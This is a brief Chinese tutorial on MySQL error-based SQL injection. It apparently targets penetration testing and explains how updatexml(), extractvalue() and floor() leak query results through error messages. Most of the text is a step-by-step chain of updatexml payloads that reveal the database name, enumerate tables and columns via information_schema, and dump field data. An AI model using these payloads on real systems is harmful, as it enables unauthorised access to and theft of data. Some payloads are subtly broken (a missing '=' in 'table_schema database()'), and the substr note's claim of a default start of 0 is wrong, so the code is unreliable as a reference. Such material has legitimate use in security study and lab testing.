本文需要一定的数据库基础,本文只是简单介绍了一下渗透的思路和payload,具体payload的sql语法,需要自己去看sql代码语言。
报错注入:
原理:
利用查询语句查询失败会回写错误信息的原理,将参数信息进行回显
sum(数值型,数值型)
sum(字符串,字符串)
报错注入函数:
函数 | 作用和原理 | 参数 |
Updatexml() | 改变(查询并替换)xml文档中符合条件的的值 | 需要操作的xml片段,显示输出语句,新值 |
extractvalue() | 通过在函数中写如不符合语法格式的xpath达到报错的目的,并且通过拼接sql注入语句从而通过报错查询并显示我们想要查询的内容 | xml标记,显示输出语句 |
floor() | 取整数函数 |
注入流程:
1. 选择注入函数
这边选择的是updatexml函数。其中语法是
updatexml(XML_document,XPath_string,new_value)
第一个参数:是string格式,为XML文档对象的名称
第二个参数:代表路径,Xpath格式的字符串例如
第三个参数:string格式,替换查找到的符合条件的数据
updatexml(1,concat(0x7e,(SELECT DATABASE()),0x7e),1);
意思是改变xml文档中string格式出现错误,mysql则会爆出xpath语法错误,其错误报错内容是指定的concat所连接以十六进制编码~(0x7e)所包含的内容
2. 获取数据库
updatexml(1,concat(0x7e,(SELECT DATABASE()),0x7e),1)
3. 获取表的信息
updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema database()),0x7e),1)
4. 获取字段信息
updatexml(1,concat(0x7e,substr((SELECT group_concat(column_name) from information_schema.columns where table_schema database()),30),0x7e),1)
语法:substr(要截取的文本,从哪里截取,截取的长度)
默认起始长度为0
5. 获取数据
updatexml(1,concat(0x7e,substr((SELECT group_concat(字段名集合) from 表名),30),0x7e),1)